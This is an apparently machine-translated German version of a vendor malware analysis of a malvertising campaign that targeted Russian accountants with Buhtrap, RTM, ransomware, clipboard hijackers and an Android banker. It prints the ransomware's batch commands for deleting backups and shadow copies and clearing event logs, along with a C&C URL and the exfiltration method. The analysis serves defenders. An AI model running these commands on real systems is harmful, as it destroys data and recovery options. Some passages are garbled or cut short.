Um Cyberangriffe auf Buchhalter zu zielen, können Arbeitsdokumente genutzt werden, die sie im Internet suchen. So handelte eine Cybergruppe in den letzten Monaten und verbreitete bekannte Backdoors. und , sowie Ransomware und Software zum Diebstahl von Kryptowährungen. Die meisten Ziele befinden sich in Russland. Der Angriff wurde durch das Schalten schädlicher Werbung bei Yandex.Direct realisiert. Potenzielle Opfer klickten auf eine Website, auf der ihnen angeboten wurde, eine schädliche Datei herunterzuladen, die als Dokumentvorlage getarnt war. Yandex hat die schädliche Werbung nach unserer Warnung entfernt.
Der Quellcode von Buhtrap wurde zuvor ins Netz geleakt, sodass ihn jeder nutzen kann. Informationen zur Verfügbarkeit des RTM-Codes liegen uns nicht vor.
Im Beitrag erzählen wir, wie die Angreifer Malware über Yandex.Direct verbreiteten und sie auf GitHub hosteten. Der Beitrag wird mit einer technischen Analyse der Malware abgeschlossen.

Buhtrap und RTM sind wieder aktiv
Verbreitungsmechanismus und Opfer
Die verschiedenen Payloads, die den Opfern zugeführt werden, nutzen einen gemeinsamen Verbreitungsmechanismus. Alle von den Angreifern erstellten Malware-Dateien wurden in zwei unterschiedlichen GitHub-Repositories abgelegt.
In der Regel enthielt das Repository eine herunterladbare Malware-Datei, die häufig geändert wurde. Da man die Änderungshistorie eines Repositories auf GitHub einsehen kann, sehen wir, welche Malware zu bestimmten Zeiten verteilt wurde. Um das Opfer zu überzeugen, die Malware-Datei herunterzuladen, wurde die Website blanki-shabloni24[.]ru verwendet, die im obigen Bild gezeigt wird.
Das Design der Website und alle Namen der Malware-Dateien folgen einem einheitlichen Konzept – Vorlagen, Muster, Verträge, Beispiele usw. Berücksichtigt man, dass die Software Buhtrap und RTM in der Vergangenheit bereits in Angriffen auf Buchhalter verwendet wurde, vermuteten wir, dass die Strategie in dieser neuen Kampagne dieselbe ist. Die einzige Frage ist, wie das Opfer auf die Website der Angreifer gelangte.
Infektion
Mindestens einige potenzielle Opfer, die auf dieser Website gelandet sind, wurden durch schädliche Werbung angezogen. Im Folgenden ein Beispiel für eine URL:
https://blanki-shabloni24.de/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=Muster Rechnungsformular herunterladen&utm_source=bb.f2.kz&utm_block=none&utm_position=0&utm_yclid=1029648968001296456
Wie aus dem Link ersichtlich, wurde das Banner auf dem legitimen Buchhaltungsforum bb.f2[.]kz geschaltet. Es ist wichtig zu erwähnen, dass die Banner auf verschiedenen Websites erschienen, alle mit derselben Kampagnen-ID (blanki_rsya) und die meisten bezogen sich auf Buchhaltungs- oder juristische Dienstleistungen. Aus der URL geht hervor, dass das potenzielle Opfer den Suchbegriff „Muster Rechnungsformular herunterladen“ verwendet hat, was unsere Hypothese über gezielte Angriffe unterstützt. Im Folgenden sind die Websites aufgeführt, auf denen die Banner erschienen sind, sowie die entsprechenden Suchanfragen.
- Muster Rechnungsformular herunterladen — bb.f2[.]kz
- Muster Vertrag — Ipopen[.]ru
- Muster Beschwerdeformular — 77metrov[.]ru
- Vertragsformular — blank-dogovor-kupli-prodazhi[.]ru
- Muster Antrag — zen.yandex[.]ru
- Muster Beschwerde — yurday[.]ru
- Muster von Vertragsvorlagen — Regforum[.]ru
- Vertragsformular — assistentus[.]ru
- Muster Mietvertrag — napravah[.]com
- Muster juristischer Verträge — avito[.]ru
Die Website blanki-shabloni24[.]ru scheint so konfiguriert worden zu sein, dass sie eine einfache visuelle Bewertung besteht. In der Regel wirkt Werbung, die auf eine professionell gestaltete Website mit einem Link zu GitHub verweist, nicht auf den ersten Blick verdächtig. Darüber hinaus haben Angreifer bösartige Dateien nur für einen begrenzten Zeitraum im Repository hochgeladen, wahrscheinlich während einer aktiven Kampagne. Der Großteil des GitHub-Repositories bestand aus einer leeren ZIP-Datei oder einer sauberen EXE-Datei. So konnten die Angreifer Werbung über Yandex.Direct auf Websites verbreiten, die wahrscheinlich von Buchhaltern besucht wurden, die gezielt nach bestimmten Suchanfragen suchten.
Betrachten wir nun die verschiedenen Arten von Nutzlasten, die auf diese Weise verbreitet wurden.
Analyse der Nutzlast
Chronologie der Verbreitung
Die Schadsoftwarekampagne begann Ende Oktober 2018 und ist auch zum Zeitpunkt dieses Beitrags aktiv. Da das gesamte Repository öffentlich auf GitHub zugänglich war, haben wir eine präzise Chronologie der Verbreitung von sechs verschiedenen Malware-Familien erstellt (siehe Abbildung unten). Wir haben eine Zeile hinzugefügt, die den Zeitpunkt der Entdeckung des Links zum Banner zeigt, basierend auf der ESET-Telemetrie, um ihn mit der Git-Historie zu vergleichen. Wie Sie sehen können, korreliert dies gut mit der Verfügbarkeit der Payload auf GitHub. Die Abweichung Ende Februar lässt sich damit erklären, dass wir einen Teil der Änderungsinformationen nicht hatten, da das Repository von GitHub gelöscht wurde, bevor wir es vollständig abholen konnten.

Abbildung 1. Chronologie der Malware-Verbreitung.
Zertifikate zum Signieren von Code
In der Kampagne wurden zahlreiche Zertifikate verwendet. Einige dieser Zertifikate wurden für mehr als eine Familie von Malware verwendet, was zusätzlich darauf hindeutet, dass verschiedene Samples zu derselben Kampagne gehören. Trotz der Verfügbarkeit des privaten Schlüssels haben die Betreiber nicht systematisch Binärdateien signiert und verwendeten den Schlüssel nicht für alle Samples. Ende Februar 2019 begannen die Angreifer, ungültige Signaturen mit einem Zertifikat zu erstellen, das Google gehört, zu dem sie keinen privaten Schlüssel haben.
Alle in der Kampagne verwendeten Zertifikate und die von ihnen signierten Malware-Familien sind in der Übersichtstabelle unten aufgeführt.

Wir haben ebenfalls diese Code-Signaturzertifikate genutzt, um Verbindungen zu anderen Malware-Familien herzustellen. Für die meisten Zertifikate haben wir keine Samples gefunden, die nicht über das GitHub-Repository verbreitet wurden. Allerdings wurde das Zertifikat TOV „MARIYA“ zur Signierung von Malware verwendet, die zu einem Botnet gehört. , Adware und Miner. Es ist unwahrscheinlich, dass diese Malware mit dieser Kampagne verbunden ist. Wahrscheinlicher ist, dass das Zertifikat im Darknet erworben wurde.
Win32/Filecoder.Buhtrap
Der erste Aspekt, der unsere Aufmerksamkeit erregte, war der erstmals entdeckte Win32/Filecoder.Buhtrap. Es handelt sich um eine Delphi-Binärdatei, die manchmal gepackt ist. Hauptsächlich wurde sie zwischen Februar und März 2019 verbreitet. Ihr Verhalten entspricht dem einer Ransomware – sie sucht lokale Laufwerke und Netzwerkordner und verschlüsselt die gefundenen Dateien. Für eine Kompromittierung benötigt sie keine Internetverbindung, da sie sich nicht mit einem Server zur Übertragung der Verschlüsselungsschlüssel verbindet. Stattdessen fügt sie dem Lösegeldnachricht einen „Token“ hinzu und bietet an, über E-Mail oder Bitmessage Kontakt mit den Betreibern aufzunehmen.
Um so viele wichtige Ressourcen wie möglich zu verschlüsseln, startet Filecoder.Buhtrap einen Prozess, der darauf abzielt, kritische Software zu beenden, die möglicherweise offene Dateihandles mit wertvollen Informationen hat, was das Verschlüsseln behindern könnte. Die gezielten Prozesse sind hauptsächlich Datenbanksysteme (DBMS). Darüber hinaus löscht Filecoder.Buhtrap Protokolldateien und Backups, um die Wiederherstellung von Daten zu erschweren. Dazu wird das folgende Batch-Skript ausgeführt.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib "%userprofile%\documents\Default.rdp" -s -h
del "%userprofile%\documents\Default.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap nutzt einen legitimen Online-Dienst namens IP Logger, der dazu dient, Informationen über die Besucher von Websites zu sammeln. Dies ist dazu gedacht, die Opfer des Verschlüsselungsprogramms zu verfolgen, was durch die folgende Eingabeaufforderung gesteuert wird:
mshta.exe "javascript:document.write('');"
Die Dateien, die verschlüsselt werden sollen, werden ausgewählt, falls keine Übereinstimmung mit drei Ausschlusslisten besteht. Zunächst werden Dateien mit den folgenden Dateiendungen nicht verschlüsselt: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys und .bat. Zweitens werden alle Dateien ausgeschlossen, deren voller Pfad Zeichenfolgen von Verzeichnissen aus der nachstehenden Liste enthält.
.{ED7BA470-8E54-465E-825C-99712043E01C}
Tor-Browser
Opera
Opera-Software
Mozilla
Mozilla Firefox
Internet Explorer
Google Chrome
Google
Boot
Anwendungsdaten
Apple Computer Safari
AppData
Alle Benutzer
:Windows
:Systemvoluminformationen
:NVIDIA
:Intel
Drittens sind bestimmte Dateinamen ebenfalls von der Verschlüsselung ausgenommen, einschließlich des Namens der Datei mit der Lösegeldforderung. Die Liste ist unten aufgeführt. Offensichtlich sind all diese Ausnahmen dazu gedacht, die Möglichkeit der Maschineninbetriebnahme zu erhalten, jedoch mit einer minimalen Betriebsfähigkeit.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
Ihre Dateien sind jetzt verschlüsselt.txt
Windows-Update-Assistent.lnk
master.exe
unlock.exe
unlocker.exe
Dateiverschlüsselungsschema
Nach der Ausführung generiert die Malware ein Paar von 512-Bit-RSA-Schlüsseln. Der private Exponent (d) und der Modulus (n) werden anschließend mit einem fest codierten 2048-Bit-öffentlichen Schlüssel (öffentlicher Exponent und Modulus) verschlüsselt, mit zlib gepackt und in base64 kodiert. Der dazugehörige Code ist in Abbildung 2 dargestellt.

Abbildung 2. Das Ergebnis der Dekompilierung des Hex-Rays-Prozesses zur Generierung eines 512-Bit-RSA-Schlüsselpaares.
Nachfolgend finden Sie ein Beispiel für einen einfachen Text mit dem generierten privaten Schlüssel, der als Anhang an die Lösegeldforderungen dient.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
Der öffentliche Schlüssel der Angreifer ist unten aufgeführt.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Die Dateien sind mit AES-128-CBC und einem 256-Bit-Schlüssel verschlüsselt. Für jede zu verschlüsselnde Datei werden ein neuer Schlüssel und ein neuer Initialisierungsvektor generiert. Die Schlüsselinformation wird am Ende der verschlüsselten Datei hinzugefügt. Schauen wir uns das Format der verschlüsselten Datei an.
Verschlüsselte Dateien haben folgendes Header:

Die Daten der Ausgangsdatei werden mit dem magischen Wert VEGA bis zu den ersten 0x5000 Bytes verschlüsselt. Alle Informationen zur Entschlüsselung werden der Datei mit folgender Struktur angehängt:

— Der Dateigrößenmarker enthält ein Label, das angibt, ob die Datei die Größe von 0x5000 Bytes überschreitet.
— AES key blob = ZlibCompress(RSAEncrypt(AES Schlüssel + IV, öffentlicher Schlüssel des generierten RSA-Schlüsselpaares))
— RSA key blob = ZlibCompress(RSAEncrypt(generierter privater RSA-Schlüssel, fest codierter öffentlicher RSA-Schlüssel))
Win32/ClipBanker
Win32/ClipBanker ist ein nicht ständig verbreiteter Komponent, der von Ende Oktober bis Anfang Dezember 2018 verteilt wurde. Seine Rolle besteht darin, den Inhalt der Zwischenablage zu überwachen und nach Adressen von Kryptowährungs-Wallets zu suchen. Nach der Identifizierung der Ziel-Wallet-Adresse ersetzt ClipBanker sie durch eine Adresse, die vermutlich den Betreibern gehört. Die von uns untersuchten Proben waren weder gepackt noch obfuskiert. Der einzige Mechanismus zur Maskierung des Verhaltens ist die Stringverschlüsselung. Die Wallet-Adressen der Betreiber sind mit RC4 verschlüsselt. Zielkryptowährungen sind Bitcoin, Bitcoin Cash, Dogecoin, Ethereum und Ripple.
Während der Verbreitung der Schadsoftware wurde eine geringe Summe in BTC an die Angreifer gesendet, was den Erfolg der Kampagne in Frage stellt. Darüber hinaus gibt es keine Anhaltspunkte, die darauf hindeuten, dass diese Transaktionen überhaupt mit ClipBanker in Verbindung stehen.
Win32/RTM
Die Win32/RTM-Komponente wurde Anfang März 2019 über mehrere Tage verteilt. RTM ist ein Trojaner, der in Delphi geschrieben wurde und auf Systeme für Online-Banking abzielt. Im Jahr 2017 veröffentlichten ESET-Forscher eine dieses Programms, deren Beschreibung weiterhin relevant ist. Im Januar 2019 veröffentlichten auch Palo Alto Networks einen .
Der Buhtrap-Lader
Ein Lader, der eine Zeit lang auf GitHub verfügbar war, unterschied sich von den vorherigen Buhtrap-Tools. Er greift auf https://94.100.18[.]67/RSS.php? zurück, um die nächste Phase abzurufen, und lädt sie direkt in den Speicher. Zwei Verhaltensweisen des Codes in der zweiten Phase sind hervorzuheben. Im ersten Fall wurde der Buhtrap-Backdoor direkt über die URL RSS.php übergeben – dieser Backdoor ist sehr ähnlich dem, das nach dem Quellcode-Leak verfügbar war.
Interessanterweise sehen wir mehrere Kampagnen mit dem Buhtrap-Bluetooth, die wahrscheinlich von verschiedenen Betreibern geführt werden. In diesem Fall besteht der Hauptunterschied darin, dass die Backdoor direkt in den Arbeitsspeicher geladen wird und nicht das übliche DLL-Deployment-Schema verwendet, über das wir bereits berichtet haben. . Darüber hinaus haben die Betreiber den RC4-Schlüssel geändert, der zur Verschlüsselung des Datenverkehrs zum C&C-Server verwendet wird. Bei den meisten Kampagnen, die wir gesehen haben, haben sich die Betreiber nicht um den Wechsel dieses Schlüssels gekümmert.
Ein zweites, komplexeres Verhalten – die URL RSS.php übermittelt einen anderen Loader. Dieser enthält einige Obfuskationstechniken, wie das Umstrukturieren einer dynamischen Importtabelle. Ziel des Loaders ist es, eine Verbindung zum C&C-Server aufzubauen [.]com/api/F27F84EDA4D13B15/2, die Protokolle zu senden und auf eine Antwort zu warten. Er verarbeitet die Antwort als Blob, lädt sie in den Speicher und führt sie aus. Die Nutzlast, die wir beim Ausführen dieses Loaders gesehen haben, war die gleiche Buhtrap-Backdoor, aber es könnten auch andere Komponenten vorhanden sein.
Android/Spy.Banker
Interessanterweise wurde im GitHub-Repository auch eine Komponente für Android gefunden. Sie war nur einen Tag lang im Hauptzweig – am 1. November 2018. Neben der Veröffentlichung auf GitHub findet die ESET-Telemetrie keine Hinweise auf die Verbreitung dieser Schadsoftware.
Die Komponente wurde als Android Application Package (APK) bereitgestellt. Sie ist stark obfuskiert. Das schädliche Verhalten ist in einer verschlüsselten JAR-Datei verborgen, die im APK enthalten ist. Sie ist mit RC4 verschlüsselt und verwendet diesen Schlüssel:
Schlüssel = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Der gleiche Schlüssel und Algorithmus werden zur Verschlüsselung der Zeichenfolgen verwendet. Die JAR-Datei befindet sich in APK_ROOT + image/files. Die ersten 4 Bytes der Datei enthalten die Länge der verschlüsselten JAR, die direkt nach dem Längenfeld beginnt.
Nachdem wir die Datei entschlüsselt hatten, fanden wir heraus, dass es sich um Anubis handelt – eine zuvor dokumentierte Mikrofonnutzung
- Screenshot-Erstellung
- GPS-Koordinatenbeschaffung
- Keylogger
- Gerätedatenverschlüsselung und Erpressung
- Spamversand
- Spam-Versand
Interessanterweise nutzte der Banker Twitter als Backup-Kommunikationskanal, um einen weiteren C&C-Server zu erhalten. Das von uns analysierte Beispiel verwendete das Konto @JohnesTrader, das allerdings zum Zeitpunkt der Analyse bereits gesperrt war.
Der Banker enthält eine Liste von Zielanwendungen auf dem Android-Gerät. Diese ist länger als die Liste, die während der Sophos-Untersuchung erhalten wurde. Die Liste umfasst viele Bankanwendungen, Online-Shopping-Programme wie Amazon und eBay sowie Kryptowährungsdienste.
MSIL/ClipBanker.IH
Die letzte Komponente, die im Rahmen dieser Kampagne verbreitet wurde, ist eine .NET Windows-Executable, die im März 2019 auftauchte. Die meisten untersuchten Versionen waren mit ConfuserEx v1.0.0 gepackt. Wie ClipBanker nutzt diese Komponente die Zwischenablage. Ihr Ziel sind ein breites Spektrum an Kryptowährungen sowie Angebote auf Steam. Darüber hinaus verwendet sie den IP Logger-Dienst, um den privaten WIF-Schlüssel von Bitcoin zu stehlen.
Schutzmechanismen
Zusätzlich zu den Vorteilen, die ConfuserEx im Hinblick auf das Abwehren von Debugging, Dumping und Eingriffen in die Ausführung bietet, ist in der Komponente auch die Möglichkeit zur Erkennung von Antivirensoftware und virtuellen Maschinen implementiert.
Zur Überprüfung des Starts in einer virtuellen Maschine nutzt die Schadsoftware die in Windows integrierte Befehlszeile WMI (WMIC), um Informationen zum BIOS abzufragen, und zwar:
wmic bios
Anschließend parst das Programm die Ausgabe des Befehls und sucht nach Schlüsselwörtern: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Um Antivirusprodukte zu entdecken, sendet die Schadsoftware eine Windows Management Instrumentation (WMI)-Abfrage an das Windows-Sicherheitscenter über ManagementObjectSearcher API, wie unten dargestellt. Nach der Dekodierung von base64 sieht der Aufruf so aus:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

Abbildung 3. Der Prozess zur Identifizierung von Antivirusprodukten.
Darüber hinaus überprüft die Schadsoftware, ob , ein Werkzeug zum Schutz vor Angriffen auf die Zwischenablage, ausgeführt wird. Wenn dies der Fall ist, werden alle Threads dieses Prozesses angehalten, wodurch der Schutz deaktiviert wird.
Persistenz
Die von uns untersuchte Version der Schadsoftware kopiert sich selbst in %APPDATA%googleupdater.exe und setzt das Attribut "verborgen" für das Verzeichnis google. Danach ändert sie den Wert SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell im Windows-Register und fügt den Pfad updater.exehinzu. So wird die Schadsoftware bei jedem Benutzer-Login ausgeführt.
Schadhafter Verhalten
Wie bei ClipBanker verfolgt die Malware den Inhalt der Zwischenablage und sucht nach Adressen von Kryptowährungs-Wallets. Wenn eine solche Adresse gefunden wird, ersetzt sie diese durch eine der Adressen des Betreibers. Unten finden Sie eine Liste der Zieladressen basierend auf dem, was im Code gefunden wurde.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Für jeden der Adresstypen gibt es einen entsprechenden regulären Ausdruck. Der Wert STEAM_URL wird verwendet, um ein Angriffsziel auf das Steam-System zu identifizieren, wie aus dem regulären Ausdruck ersichtlich ist, der zur Bestimmung in der Zwischenablage verwendet wird:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Exfiltrationskanal
Neben der Ersetzung von Adressen in der Zwischenablage zielt die Malware auf geschlossene WIF-Schlüssel von Bitcoin, Bitcoin Core und Electrum Bitcoin-Wallets. Das Programm nutzt plogger.org als Exfiltrationskanal, um den geschlossenen WIF-Schlüssel zu erhalten. Dazu fügen die Betreiber die Daten des geschlossenen Schlüssels in den HTTP-User-Agent-Header ein, wie unten gezeigt.

Abbildung 4. IP Logger-Konsole mit ausgegebenen Daten.
Um Kryptowallets zu exfiltrieren, haben die Betreiber nicht iplogger.org verwendet. Wahrscheinlich haben sie auf eine andere Methode zurückgegriffen, da das Feld auf 255 Zeichen beschränkt ist. User-Agent, der im Web-Interface von IP Logger angezeigt wird. In den von uns untersuchten Mustern wurde ein anderer Server für die Datenausgabe in einer Umgebungsvariablen gespeichert. DiscordWebHook. Erstaunlicherweise wird diese Umgebungsvariable im Code nirgendwo gesetzt. Das lässt darauf schließen, dass die Malware sich noch in der Entwicklungsphase befindet und die Variable auf einem Testsystem des Betreibers festgelegt wurde.
Es gibt auch ein weiteres Indiz dafür, dass das Programm in Entwicklung ist. Die Binärdatei enthält zwei URLs von iplogger.org, und an beide wird bei der Datenexfiltration eine Anfrage gesendet. In der Anfrage an eine dieser URLs geht dem Wert im Referer-Feld "DEV /" voraus. Wir haben auch eine Version gefunden, die nicht mit ConfuserEx gepackt wurde; der Empfänger für diese URL wird als DevFeedbackUrl bezeichnet. Aufgrund des Namens der Umgebungsvariable glauben wir, dass die Betreiber planen, den legitimen Dienst Discord und dessen Web-Interception-System zu nutzen, um Kryptowallets zu stehlen.
Fazit
Diese Kampagne ist ein Beispiel für die Verwendung legitimer Werbedienste in Cyberangriffen. Das Schema richtet sich an russische Organisationen, aber wir würden nicht überrascht sein, solche Angriffe auch unter Einsatz nicht-russischer Dienste zu sehen. Um eine Kompromittierung zu vermeiden, sollten Nutzer sich der Reputation der Quelle der heruntergeladenen Software sicher sein.
Die vollständige Liste der Kompromittierungsindikatoren und der MITRE ATT&CK-Attribute ist .
Quelle: habr.com
